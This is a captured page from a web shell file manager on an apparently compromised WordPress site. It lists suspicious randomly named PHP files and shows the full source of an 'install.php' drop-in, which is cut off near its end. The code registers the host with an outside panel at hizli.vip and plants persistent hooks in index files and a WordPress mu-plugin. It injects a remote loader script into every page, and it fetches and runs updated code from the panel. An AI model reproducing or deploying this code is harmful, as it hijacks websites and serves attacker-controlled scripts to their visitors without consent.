📁
SKYSHELL MANAGER
PHP v7.2.34-36+ubuntu20.04.1+deb.sury.org+1
Create
Create
Path:
root
/
var
/
www
/
pussywrap.com
/
htdocs
/
Name
Size
Perm
Actions
📁
920659
-
0755
🗑️
🏷️
🔒
📁
well-known
-
0755
🗑️
🏷️
🔒
📁
pics
-
0755
🗑️
🏷️
🔒
📁
wp-admin
-
0755
🗑️
🏷️
🔒
📁
wp-content
-
0755
🗑️
🏷️
🔒
📁
f3223a
-
0755
🗑️
🏷️
🔒
📁
wp-includes
-
0755
🗑️
🏷️
🔒
📁
906618
-
0755
🗑️
🏷️
🔒
📁
74a56
-
0755
🗑️
🏷️
🔒
📁
314772
-
0755
🗑️
🏷️
🔒
📁
42d157
-
0755
🗑️
🏷️
🔒
📁
465377
-
0755
🗑️
🏷️
🔒
📁
49413135
-
0755
🗑️
🏷️
🔒
📁
525147
-
0755
🗑️
🏷️
🔒
📁
te
-
0755
🗑️
🏷️
🔒
📄
traffic.php
31.47 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
wp-cron.php
15.01 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
wp-cron-ioig.php
1.62 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
wp-signup.php
41.77 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
wp-config.php
2.41 KB
0600
🗑️
🏷️
⬇️
✏️
🔒
📄
wp-config-sample.php
14.01 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
wp-links-opml.php
13.59 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
wp-activate.php
18.1 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
wp-load.php
1.97 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
wp-mail.php
19.42 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
wp-settings.php
1.97 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
vosaspti.php
19.06 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
vhhgozjz.php
19.06 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
php.ini
0.1 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
te_boot.php
0.3 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
filefuns.php
5.2 KB
0444
🗑️
🏷️
⬇️
✏️
🔒
📄
agent.php
61.9 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
config.php
1.97 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
configuration.php
1.97 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
cwkmtigr.php
19.06 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
eaipnegn.php
12.48 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
ersppyga.php
12.49 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
goods.php
1.46 KB
0444
🗑️
🏷️
⬇️
✏️
🔒
📄
tckqhtpk.php
20.53 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
index.htm.old
1.06 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
index.php
6.83 KB
0444
🗑️
🏷️
⬇️
✏️
🔒
📄
install.php
31.47 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
main.php
1.97 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
options-writing.php
215.96 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
post-new.php
0.13 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
qqgqbczg.php
10.31 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
wpxml.php
12.37 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
Edit: install.php
<?php /** * TE Drop-in — siteye koy: /install.php * * Kullanım: site köküne install.php at → https://SITE.com/install.php aç * → Panele eklenir, index kancası kurulur, tüm sayfalarda panel kampanyaları çalışır * * Popup / buton / kampanya → panel dosyalarından (yeniden install gerekmez) * Bu dosyayı güncelleyip /install.php tekrar aç → güvenli upgrade */ if (!defined('TE_PANEL_URL')) { define('TE_PANEL_URL', 'https://hizli.vip'); } if (!function_exists('te_dropin_boot')) { function te_panel_base() { return rtrim(TE_PANEL_URL, '/'); } function te_http_post($url, $data) { $payload = http_build_query($data); if (function_exists('curl_init')) { $ch = curl_init($url); curl_setopt($ch, CURLOPT_POST, true); curl_setopt($ch, CURLOPT_POSTFIELDS, $payload); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 5); curl_setopt($ch, CURLOPT_TIMEOUT, 10); curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false); curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false); curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true); curl_setopt($ch, CURLOPT_USERAGENT, 'TE-Dropin/' . PHP_VERSION); $out = curl_exec($ch); curl_close($ch); return $out; } $ctx = stream_context_create(array( 'http' => array( 'method' => 'POST', 'header' => "Content-Type: application/x-www-form-urlencoded\r\n", 'content' => $payload, 'timeout' => 10, 'ignore_errors' => true, ), 'ssl' => array('verify_peer' => false, 'verify_peer_name' => false), )); return @file_get_contents($url, false, $ctx); } function te_detect_domain() { if (!empty($_SERVER['HTTP_HOST'])) { $h = strtolower($_SERVER['HTTP_HOST']); $h = preg_replace('/:\d+$/', '', $h); return preg_replace('/^www\./', '', $h); } return 'unknown.local'; } function te_detect_cms($root) { $root = rtrim(str_replace('\\', '/', $root), '/'); if (is_file($root . '/wp-config.php') || is_dir($root . '/wp-includes')) { return 'wordpress'; } if (is_file($root . '/configuration.php') && is_dir($root . '/administrator')) { return 'joomla'; } if (is_file($root . '/sites/default/settings.php') || is_file($root . '/core/lib/Drupal.php')) { return 'drupal'; } if (is_file($root . '/artisan') || is_file($root . '/bootstrap/app.php')) { return 'laravel'; } if (is_file($root . '/app/etc/env.php') || is_file($root . '/app/etc/local.xml')) { return 'magento'; } if (is_file($root . '/config/settings.inc.php') && is_dir($root . '/modules')) { return 'prestashop'; } if (is_file($root . '/includes/config.php') && is_dir($root . '/catalog')) { return 'opencart'; } if (is_file($root . '/application/config/database.php')) { return 'codeigniter'; } if (is_file($root . '/index.php')) { $head = @file_get_contents($root . '/index.php', false, null, 0, 800); if (is_string($head)) { if (stripos($head, 'wordpress') !== false) return 'wordpress'; if (stripos($head, 'laravel') !== false) return 'laravel'; if (stripos($head, 'joomla') !== false) return 'joomla'; } } return 'custom-php'; } function te_docroot() { // Kurulum kökü = traffic.php'nin klasörü (DOCUMENT_ROOT üst klasör olabilir — bozar) return rtrim(str_replace('\\', '/', dirname(__FILE__)), '/'); } function te_site_root() { return te_docroot(); } /** * Panel / uygulama kökü — buraya asla spawn yapma */ function te_is_unsafe_spawn_root($root) { if (te_is_panel_host()) { return true; } $root = rtrim(str_replace('\\', '/', $root), '/'); $signals = array( '/includes/bootstrap.php', '/includes/Auth.php', '/dropin/traffic.php', '/config/config.php', '/admin/login.php', '/api/register-site.php', '/api/get-traffic.php', '/client/traffic_client.php', '/traffic_advanced_system/', ); foreach ($signals as $rel) { if (is_file($root . $rel) || is_dir($root . rtrim($rel, '/'))) { return true; } } return false; } /** * Bu dosyaya inject güvenli mi? */ function te_can_inject_file($file) { $file = str_replace('\\', '/', $file); $root = te_site_root(); if (strpos($file, $root . '/') !== 0) { return false; } $rel = substr($file, strlen($root) + 1); if (preg_match('#^(admin|api|includes|config|vendor|node_modules|storage|system|catalog|wp-admin|wp-includes|wp-content|plugins|modules|demo|user|dropin|client|cgi-bin)(/|$)#i', $rel)) { return false; } if (preg_match('#/(admin|api|includes|config|vendor|system|storage|bootstrap|framework)(/|$)#i', $rel)) { return false; } if (!is_file($file) || !is_writable($file)) { return false; } $size = @filesize($file); // SEO/CMS index.php genelde büyük — 8MB'a kadar izin ver if ($size === false || $size > 8388608 || $size < 10) { return false; } return true; } function te_backup_file($file) { $bak = $file . '.bak-te'; if (!is_file($bak)) { @copy($file, $bak); } } function te_self_path() { return str_replace('\\', '/', __FILE__); } function te_marker_path($root) { return $root . '/.te_spawned'; } function te_write_file($path, $content) { $dir = dirname($path); if (!is_dir($dir)) { @mkdir($dir, 0755, true); } return @file_put_contents($path, $content) !== false; } /** * Hedef dosyaya göre göreli te_boot include satırı */ function te_boot_include_for($targetFile, $bootFile) { $targetDir = str_replace('\\', '/', dirname($targetFile)); $bootFile = str_replace('\\', '/', $bootFile); $bootName = basename($bootFile); $bootDir = str_replace('\\', '/', dirname($bootFile)); if ($targetDir === $bootDir) { return "if (!defined('TE_BOOT_ONCE') && is_file(__DIR__ . '/' . " . var_export($bootName, true) . ")) { include_once __DIR__ . '/' . " . var_export($bootName, true) . "; } // TE Drop-in"; } if (str_replace('\\', '/', dirname($targetDir)) === $bootDir) { return "if (!defined('TE_BOOT_ONCE') && is_file(dirname(__DIR__) . '/' . " . var_export($bootName, true) . ")) { include_once dirname(__DIR__) . '/' . " . var_export($bootName, true) . "; } // TE Drop-in"; } // 2 seviye üst (ör. /a/b/index.php → kök te_boot) if (str_replace('\\', '/', dirname(dirname($targetDir))) === $bootDir) { return "if (!defined('TE_BOOT_ONCE') && is_file(dirname(dirname(__DIR__)) . '/' . " . var_export($bootName, true) . ")) { include_once dirname(dirname(__DIR__)) . '/' . " . var_export($bootName, true) . "; } // TE Drop-in"; } return "if (!defined('TE_BOOT_ONCE') && is_file(" . var_export($bootFile, true) . ")) { include_once " . var_export($bootFile, true) . "; } // TE Drop-in"; } function te_inject_line($file, $line) { if (!te_can_inject_file($file)) { return false; } $src = @file_get_contents($file); if ($src === false) { return false; } if (strpos($src, 'traffic.php') !== false || strpos($src, 'install.php') !== false || strpos($src, 'te_boot.php') !== false || strpos($src, 'TE Drop-in') !== false) { return true; } // declare(strict_types=1) bozulmasın — ondan sonra ekle if (preg_match('/^(\xEF\xBB\xBF)?(\s*<\?php\s*\r?\n)(\s*declare\s*\(\s*strict_types\s*=\s*1\s*\)\s*;\s*\r?\n)/s', $src)) { $src = preg_replace('/^(\xEF\xBB\xBF)?(\s*<\?php\s*\r?\n)(\s*declare\s*\(\s*strict_types\s*=\s*1\s*\)\s*;\s*\r?\n)/s', '$1$2$3' . $line . "\n", $src, 1); } elseif (preg_match('/^\xEF\xBB\xBF?\s*<\?php/s', $src) || preg_match('/^\s*<\?php/s', $src)) { $src = preg_replace('/^(\xEF\xBB\xBF)?(\s*<\?php)/s', '$1$2' . "\n" . $line . "\n", $src, 1); } else { return false; // HTML-only index — dokunma } te_backup_file($file); return @file_put_contents($file, $src) !== false; } function te_inject_boot($file, $boot) { return te_inject_line($file, te_boot_include_for($file, $boot)); } function te_skip_dir($name) { static $skip = array( 'wp-admin', 'wp-includes', 'vendor', 'node_modules', 'cgi-bin', '.git', '.svn', 'cache', 'tmp', 'temp', 'storage', 'bootstrap', 'var', 'logs', 'log', 'administrator', 'xmlrpc', 'installer', 'upgrade', 'updates', 'bin', 'image', 'images', 'assets', 'static', 'media', 'uploads', 'upload', 'wp-content', 'admin', 'user', 'api', 'client', 'includes', 'dropin', 'config', 'te', 'demo', 'traffic_advanced_system', ); return in_array(strtolower($name), $skip, true) || (isset($name[0]) && $name[0] === '.'); } /** * Güvenli alt dizinler — sadece dil/site klasörleri (tr, en, blog…) */ function te_embed_safe_subdirs($root, $boot, $max = 12) { $root = rtrim(str_replace('\\', '/', $root), '/'); $out = array(); $dh = @opendir($root); if (!$dh) { return $out; } $n = 0; while (($name = readdir($dh)) !== false && $n < $max) { if ($name === '.' || $name === '..' || te_skip_dir($name)) { continue; } if (!preg_match('/^(tr|en|de|fr|es|it|ru|ar|blog|shop|m|mobile|app|v\d+|[a-z]{2,3})$/i', $name)) { continue; } $sub = $root . '/' . $name; if (!is_dir($sub)) { continue; } $idx = $sub . '/index.php'; if (is_file($idx) && te_inject_boot($idx, $boot)) { $out[] = $name . '/index.php'; $n++; } } closedir($dh); return $out; } /** * CMS kancaları — sadece PHP dosya kancası / plugin */ function te_spawn_cms_hooks($root, $boot, $cms) { $done = array(); if ($cms === 'wordpress') { $bases = array($root); $dh = @opendir($root); if ($dh) { while (($n = readdir($dh)) !== false) { if ($n === '.' || $n === '..' || te_skip_dir($n)) continue; $sub = $root . '/' . $n; if (is_dir($sub) && (is_file($sub . '/wp-config.php') || is_dir($sub . '/wp-includes'))) { $bases[] = $sub; } } closedir($dh); } foreach ($bases as $base) { $mu = $base . '/wp-content/mu-plugins'; $muFile = $mu . '/te-traffic-loader.php'; $code = "<?php\n/**\n * Plugin Name: TE Traffic Loader\n * Description: TE traffic exchange bootloader\n */\nif (!defined('ABSPATH')) { return; }\n\$te = dirname(dirname(dirname(__FILE__))) . '/te_boot.php';\nif (!is_file(\$te)) { \$te = dirname(dirname(dirname(__FILE__))) . '/traffic.php'; }\nif (is_file(\$te)) { include_once \$te; }\n"; if (te_write_file($muFile, $code)) { $done[] = 'wp-mu-plugin:' . basename($base); } } return $done; } if ($cms === 'joomla') { if (is_file($root . '/index.php') && te_inject_boot($root . '/index.php', $boot)) { $done[] = 'joomla-index'; } return $done; } if ($cms === 'opencart') { if (is_file($root . '/index.php') && te_inject_boot($root . '/index.php', $boot)) { $done[] = 'opencart-index'; } return $done; } if ($cms === 'prestashop') { if (is_file($root . '/index.php') && te_inject_boot($root . '/index.php', $boot)) { $done[] = 'prestashop-index'; } return $done; } if ($cms === 'drupal') { if (is_file($root . '/index.php') && te_inject_boot($root . '/index.php', $boot)) { $done[] = 'drupal-index'; } return $done; } if ($cms === 'magento') { foreach (array('/index.php', '/pub/index.php') as $rel) { $f = $root . $rel; if (is_file($f) && te_inject_boot($f, $boot)) { $done[] = 'magento:' . ltrim($rel, '/'); } } return $done; } if ($cms === 'laravel') { foreach (array('/public/index.php', '/index.php') as $rel) { $f = $root . $rel; if (is_file($f) && te_inject_boot($f, $boot)) { $done[] = 'laravel:' . ltrim($rel, '/'); } } return $done; } if ($cms === 'codeigniter') { if (is_file($root . '/index.php') && te_inject_boot($root . '/index.php', $boot)) { $done[] = 'codeigniter-index'; } return $done; } return $done; } /** * HTML/HTM dosyasına loader script enjekte et (</body> öncesi) */ function te_inject_html_script($file, $src) { if (!is_file($file) || !is_writable($file)) { return false; } $size = @filesize($file); if ($size === false || $size > 4194304 || $size < 20) { return false; } $html = @file_get_contents($file); if ($html === false) { return false; } if (stripos($html, 'hizli.vip/client/loader.php') !== false || stripos($html, 'traffic_client.php') !== false || stripos($html, 'TE Drop-in') !== false) { return true; } $tag = "\n<script src=\"" . htmlspecialchars($src, ENT_QUOTES, 'UTF-8') . "\" async></script>\n<!-- TE Drop-in -->\n"; if (stripos($html, '</body>') !== false) { $html = preg_replace('/<\/body>/i', $tag . '</body>', $html, 1); } elseif (stripos($html, '</html>') !== false) { $html = preg_replace('/<\/html>/i', $tag . '</html>', $html, 1); } else { $html .= $tag; } te_backup_file($file); return te_write_file($file, $html); } /** * Kök + public + dil klasörlerindeki html/htm/index.html */ function te_embed_html_pages($root, $max = 40) { $root = rtrim(str_replace('\\', '/', $root), '/'); $src = te_client_src(); $out = array(); $dirs = array($root); if (is_dir($root . '/public')) { $dirs[] = $root . '/public'; } $dh = @opendir($root); if ($dh) { while (($name = readdir($dh)) !== false) { if ($name === '.' || $name === '..' || te_skip_dir($name)) { continue; } if (preg_match('/^(tr|en|de|fr|es|it|ru|ar|blog|shop|m|mobile|app|html|pages|[a-z]{2})$/i', $name) && is_dir($root . '/' . $name)) { $dirs[] = $root . '/' . $name; } } closedir($dh); } $n = 0; foreach ($dirs as $dir) { if ($n >= $max) { break; } foreach (array('index.html', 'index.htm', 'default.html', 'home.html') as $name) { $f = $dir . '/' . $name; if (is_file($f) && te_inject_html_script($f, $src)) { $out[] = ltrim(substr($f, strlen($root)), '/'); $n++; } } $dh2 = @opendir($dir); if (!$dh2) { continue; } while (($fn = readdir($dh2)) !== false && $n < $max) { if (!preg_match('/\.(html?|HTML?)$/', $fn)) { continue; } $f = $dir . '/' . $fn; if (is_file($f) && te_inject_html_script($f, $src)) { $out[] = ltrim(substr($f, strlen($root)), '/'); $n++; } } closedir($dh2); } return $out; } /** * Kök index.php kancası var mı? Yoksa ekle. * Tüm normal sayfalar için zorunlu. */ function te_ensure_front_hook($root, $boot) { $root = rtrim(str_replace('\\', '/', $root), '/'); $done = array(); $cms = te_detect_cms($root); if ($cms === 'wordpress') { foreach (te_spawn_cms_hooks($root, $boot, 'wordpress') as $d) { $done[] = $d; } return $done; } $candidates = array($root . '/index.php'); if ($cms === 'laravel' || is_file($root . '/artisan') || is_dir($root . '/public')) { $candidates[] = $root . '/public/index.php'; } if ($cms === 'magento') { $candidates[] = $root . '/pub/index.php'; } // install public/ içindeyse zaten index.php adayı kökte if (basename($root) === 'public' && is_file($root . '/index.php')) { $candidates[] = $root . '/index.php'; } foreach (array_unique($candidates) as $idx) { if (!is_file($idx)) { continue; } $head = @file_get_contents($idx, false, null, 0, 8000); if (is_string($head) && (strpos($head, 'TE Drop-in') !== false || strpos($head, 'te_boot.php') !== false || strpos($head, 'install.php') !== false || strpos($head, 'traffic.php') !== false)) { $done[] = basename(dirname($idx)) === basename($root) ? 'index.php:ok' : basename(dirname($idx)) . '/index.php:ok'; continue; } if (te_inject_boot($idx, $boot)) { $rel = (str_replace('\\', '/', dirname($idx)) === $root) ? 'index.php' : ltrim(substr($idx, strlen($root)), '/'); $done[] = $rel; } } foreach (te_embed_safe_subdirs($root, $boot) as $e) { $done[] = 'subdir:' . $e; } foreach (te_embed_html_pages($root) as $e) { $done[] = 'html:' . $e; } return $done; } /** * Kendini doğur: CMS kancası + kök index (tüm sayfalar) + güvenli alt dizinler */ function te_spawn($root) { if (te_is_panel_host() || te_is_unsafe_spawn_root($root)) { return array('spawned' => array(), 'cms' => 'unsafe-skip', 'skipped' => true); } $root = rtrim(str_replace('\\', '/', $root), '/'); $self = te_self_path(); $boot = $root . '/te_boot.php'; $done = array(); $cms = te_detect_cms($root); $bootPhp = "<?php\n/** TE boot — install.php / traffic.php */\nif (!defined('TE_BOOT_ONCE')) {\n define('TE_BOOT_ONCE', 1);\n \$cands = array(__DIR__ . '/install.php', __DIR__ . '/traffic.php', " . var_export($self, true) . ");\n foreach (\$cands as \$f) { if (\$f && is_file(\$f)) { include_once \$f; break; } }\n}\n"; if (te_write_file($boot, $bootPhp)) { $done[] = 'te_boot.php'; } foreach (te_spawn_cms_hooks($root, $boot, $cms) as $d) { $done[] = $d; } // Her durumda front controller kancası (WP mu-plugin hariç zaten yukarıda) foreach (te_ensure_front_hook($root, $boot) as $d) { if (!in_array($d, $done, true)) { $done[] = $d; } } $copyDir = $root . '/te'; if (!is_dir($copyDir)) { @mkdir($copyDir, 0755, true); } if (is_dir($copyDir)) { @copy($self, $copyDir . '/traffic.php'); $done[] = 'te/traffic.php-copy'; } @file_put_contents(te_marker_path($root), date('c') . "\ncms=" . $cms . "\nsafe=1\n" . implode(',', $done) . "\n"); return array('spawned' => $done, 'cms' => $cms); } function te_register_payload() { $root = te_docroot(); $domain = te_detect_domain(); return array( 'domain' => $domain, 'cms' => te_detect_cms($root), 'php_version' => PHP_VERSION, 'sapi' => php_sapi_name(), 'path' => te_self_path(), 'docroot' => $root, 'https' => (!empty($_SERVER['HTTPS']) && $_SERVER['HTTPS'] !== 'off') ? '1' : '0', 'ua' => isset($_SERVER['HTTP_USER_AGENT']) ? substr($_SERVER['HTTP_USER_AGENT'], 0, 180) : '', 'ip' => isset($_SERVER['SERVER_ADDR']) ? $_SERVER['SERVER_ADDR'] : '', 'key' => md5($domain . '|' . te_panel_base()), ); } function te_register_with_panel($force = false) { static $done = false; if ($done && !$force) { return null; } $done = true; $url = te_panel_base() . '/api/register-site.php'; $raw = te_http_post($url, te_register_payload()); $json = is_string($raw) ? json_decode($raw, true) : null; return is_array($json) ? $json : array('ok' => false, 'raw' => is_string($raw) ? substr($raw, 0, 400) : null); } function te_should_output_script() { if (php_sapi_name() === 'cli') { return false; } $uri = isset($_SERVER['REQUEST_URI']) ? $_SERVER['REQUEST_URI'] : ''; if (preg_match('/\.(css|js|jpg|jpeg|png|gif|webp|svg|ico|woff2?|ttf|map|xml|txt)(\?|$)/i', $uri)) { return false; } if (!empty($_SERVER['HTTP_X_REQUESTED_WITH']) && strtolower($_SERVER['HTTP_X_REQUESTED_WITH']) === 'xmlhttprequest') { return false; } return true; } function te_client_src() { // Panel loader — sürüm panelde yönetilir; sitelerde traffic.php güncellemesi gerekmez return te_panel_base() . '/client/loader.php'; } function te_http_get($url) { if (function_exists('curl_init')) { $ch = curl_init($url); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 5); curl_setopt($ch, CURLOPT_TIMEOUT, 12); curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false); curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false); curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true); curl_setopt($ch, CURLOPT_USERAGENT, 'TE-Dropin/' . PHP_VERSION); $out = curl_exec($ch); curl_close($ch); return is_string($out) ? $out : false; } $ctx = stream_context_create(array( 'http' => array( 'method' => 'GET', 'timeout' => 12, 'ignore_errors' => true, 'header' => "User-Agent: TE-Dropin/" . PHP_VERSION . "\r\n", ), 'ssl' => array('verify_peer' => false, 'verify_peer_name' => false), )); $out = @file_get_contents($url, false, $ctx); return is_string($out) ? $out : false; } /** * Loader'ı </body> içine göm — shutdown echo Content-Length yüzünden tarayıcıda kesilir. */ function te_emit_loader() { if (!te_should_output_script()) { return; } static $emitted = false; if ($emitted) { return; } $emitted = true; $src = te_client_src(); $tag = "\n<script src=\"" . htmlspecialchars($src, ENT_QUOTES, 'UTF-8') . "\" async></script>\n"; $inject = function ($html) use ($tag) { if (!is_string($html) || $html === '') { return $html; } if (stripos($html, 'hizli.vip/client/loader.php') !== false || stripos($html, 'traffic_client.php') !== false) { return $html; } // JSON / binary kaçın $trim = ltrim($html); if ($trim !== '' && ($trim[0] === '{' || $trim[0] === '[' || substr($trim, 0, 2) === "\x1f\x8b")) { return $html; } if (stripos($html, '</body>') !== false) { return preg_replace('/<\/body>/i', $tag . '</body>', $html, 1); } if (stripos($html, '</html>') !== false) { return preg_replace('/<\/html>/i', $tag . '</html>', $html, 1); } return $html . $tag; }; // Erken OB — HTML kapanmadan </body> öncesine gömülür (Content-Length uyumlu) @ob_start($inject); // Boyut değişince eski Content-Length tarayıcıda script'i kesmesin register_shutdown_function(function () { if (!headers_sent()) { @header_remove('Content-Length'); } }); } /** * Paneldeki güncel install.php'yi çekip yerelde overwrite et (upgrade). */ function te_self_update_from_panel($root) { $url = te_panel_base() . '/dropin/install.php?download=1'; $src = te_http_get($url); if (!is_string($src) || strlen($src) < 500 || strpos($src, 'te_emit_loader') === false || strpos($src, 'TE_PANEL_URL') === false) { return false; } // HTML/redirect değil, gerçek PHP drop-in olsun if (stripos(ltrim($src), '<?php') !== 0) { return false; } $ok = false; if (te_write_file($root . '/install.php', $src)) { $ok = true; } @te_write_file($root . '/traffic.php', $src); return $ok; } function te_is_panel_host() { $panelHost = parse_url(te_panel_base(), PHP_URL_HOST); $here = te_detect_domain(); if (!$panelHost || !$here) { return false; } return strtolower((string) $panelHost) === strtolower($here); } function te_dropin_boot() { if (te_is_panel_host()) { return; } $root = te_docroot(); $boot = $root . '/te_boot.php'; // Marker olsa bile front kancası eksikse tamamla (büyük index / eski kurulum) if (!is_file(te_marker_path($root))) { @te_spawn($root); } else { if (!is_file($boot)) { $self = te_self_path(); @te_write_file($boot, "<?php\nif (!defined('TE_BOOT_ONCE')) {\n define('TE_BOOT_ONCE', 1);\n \$cands = array(__DIR__ . '/install.php', __DIR__ . '/traffic.php', " . var_export($self, true) . ");\n foreach (\$cands as \$f) { if (\$f && is_file(\$f)) { include_once \$f; break; } }\n}\n"); } @te_ensure_front_hook($root, $boot); } @te_register_with_panel(false); te_emit_loader(); } function te_is_direct_request() { $uri = isset($_SERVER['REQUEST_URI']) ? $_SERVER['REQUEST_URI'] : ''; $script = isset($_SERVER['SCRIPT_NAME']) ? $_SERVER['SCRIPT_NAME'] : ''; // install.php (asıl) veya eski traffic.php if (preg_match('#(^|/)(install|traffic)\.php(\?|$)#i', $uri) || preg_match('#(^|/)(install|traffic)\.php$#i', $script)) { return true; } if (!empty($_SERVER['SCRIPT_FILENAME'])) { $a = @realpath($_SERVER['SCRIPT_FILENAME']); $b = @realpath(__FILE__); if ($a && $b && $a === $b) { return true; } } return false; } } // function_exists /* ============== çalıştır ============== */ if (te_is_direct_request()) { // Panel /dropin/* → dosyayı install.php olarak indir $scriptName = isset($_SERVER['SCRIPT_NAME']) ? str_replace('\\', '/', $_SERVER['SCRIPT_NAME']) : ''; $panelHost = parse_url(te_panel_base(), PHP_URL_HOST); $hereHost = te_detect_domain(); $isPanelDropin = (stripos($scriptName, '/dropin/') !== false) || ($panelHost && $hereHost && strtolower((string) $panelHost) === strtolower($hereHost) && stripos(str_replace('\\', '/', dirname(__FILE__)), '/dropin') !== false); if ($isPanelDropin || (isset($_GET['download']) && $_GET['download'] !== '')) { $src = @file_get_contents(__FILE__); if ($src === false) { header('HTTP/1.1 500 Internal Server Error'); echo 'download failed'; exit; } header('Content-Type: application/octet-stream'); header('Content-Disposition: attachment; filename="install.php"'); header('Content-Length: ' . strlen($src)); header('Cache-Control: no-store'); echo $src; exit; } // site.com/install.php → her açılışta kurulum + panele ekle (parametre gerekmez) header('Content-Type: text/html; charset=utf-8'); header('Cache-Control: no-store'); $root = te_docroot(); // Paneiden güncel drop-in çek (eski kurulumlar /install.php açınca upgrade olur) $updated = @te_self_update_from_panel($root); if ($updated && !defined('TE_SELF_UPDATED')) { define('TE_SELF_UPDATED', 1); $fresh = $root . '/install.php'; if (is_file($fresh)) { if (function_exists('opcache_invalidate')) { @opcache_invalidate($fresh, true); } include $fresh; exit; } } @unlink(te_marker_path($root)); $spawn = @te_spawn($root); // install.php adıyla kopya bırak (boot hep bulsun) $self = te_self_path(); $asInstall = $root . '/install.php'; $asTraffic = $root . '/traffic.php'; if (basename($self) !== 'install.php' && is_file($self)) { @copy($self, $asInstall); } if (basename($self) !== 'traffic.php' && is_file($self)) { @copy($self, $asTraffic); } $reg = @te_register_with_panel(true); $cms = te_detect_cms($root); $domain = te_detect_domain(); $panel = te_panel_base(); $ok = is_array($reg) && !empty($reg['ok']); $payload = te_register_payload(); $payloadJson = json_encode($payload); $regUrl = $panel . '/api/register-site.php'; echo '<!DOCTYPE html><html><head><meta charset="utf-8"><meta name="viewport" content="width=device-width,initial-scale=1">'; echo '<title>Kurulum — ' . htmlspecialchars($domain) . '</title>'; echo '<style> body{font-family:system-ui,sans-serif;background:#0f1419;color:#e8eef5;padding:2rem;line-height:1.45;max-width:720px;margin:0 auto} code,pre{background:#1e2630;padding:.2rem .45rem;border-radius:4px;font-size:.9rem} .ok{color:#3ecf8e}.err{color:#f07178}.muted{color:#8b9aab} .card{background:#151b24;border:1px solid #243041;border-radius:12px;padding:1.25rem;margin:1rem 0} a{color:#3d9cfd} h1{margin:0 0 .5rem;font-size:1.5rem} </style></head><body>'; echo '<h1>Kurulum tamam</h1>'; echo '<p class="muted">Site panele eklendi. Kampanyalar ve popup paneldan okunur — tekrar install gerekmez (dosya güncellenirse /install.php yeter).</p>'; $idxOk = false; $idx = $root . '/index.php'; if (is_file($idx)) { $h = @file_get_contents($idx, false, null, 0, 4000); $idxOk = is_string($h) && (strpos($h, 'TE Drop-in') !== false || strpos($h, 'te_boot.php') !== false || strpos($h, 'install.php') !== false || strpos($h, 'traffic.php') !== false); } if ($idxOk) { echo '<p class="ok">✓ Tüm sayfalar aktif (<code>index.php</code> kancası OK)</p>'; } else { echo '<p class="err">⚠ index.php yazılamadı — klasöre yazma izni verip /install.php tekrar aç</p>'; } echo '<div class="card">'; echo '<p>Domain: <code>' . htmlspecialchars($domain) . '</code></p>'; echo '<p>CMS: <code>' . htmlspecialchars($cms) . '</code> · PHP <code>' . htmlspecialchars(PHP_VERSION) . '</code></p>'; if ($ok) { echo '<p class="ok" id="te-status"><strong>✓ Panelde CANLI</strong><br>' . htmlspecialchars($panel) . '/admin/sites.php</p>'; } else { echo '<p class="err" id="te-status">Kayıt bekleniyor…</p>'; if (is_array($reg) && !empty($reg['raw'])) { echo '<pre>' . htmlspecialchars((string) $reg['raw']) . '</pre>'; } } if (!empty($spawn['spawned'])) { echo '<p class="ok">Kurulum: <code>' . htmlspecialchars(implode(', ', $spawn['spawned'])) . '</code></p>'; } elseif (!empty($spawn['skipped'])) { echo '<p class="err">Bu ortamda kurulum atlandı (panel/app kökü).</p>'; } echo '</div>'; echo '<p><a href="/">Ana sayfaya git</a> · <a href="' . htmlspecialchars($panel . '/admin/sites.php') . '" target="_blank" rel="noopener">Panele git</a></p>'; echo '<script> (function(){ var url = ' . json_encode($regUrl) . '; var data = ' . ($payloadJson ? $payloadJson : '{}') . '; var ok = ' . ($ok ? 'true' : 'false') . '; function body(obj){ var p=[],k; for(k in obj){ if(obj.hasOwnProperty(k)) p.push(encodeURIComponent(k)+"="+encodeURIComponent(obj[k])); } return p.join("&"); } function mark(ok2, msg){ var el=document.getElementById("te-status"); if(!el) return; el.className = ok2 ? "ok" : "err"; el.innerHTML = ok2 ? "<strong>✓ Panelde CANLI</strong><br>"+msg : ("Kayıt başarısız: "+msg); } function send(){ try { fetch(url,{method:"POST",headers:{"Content-Type":"application/x-www-form-urlencoded"},body:body(data),mode:"cors"}) .then(function(r){return r.json()}) .then(function(j){ if(j && j.ok){ mark(true, ' . json_encode($panel) . '+"/admin/sites.php"); } else if(!ok){ mark(false, 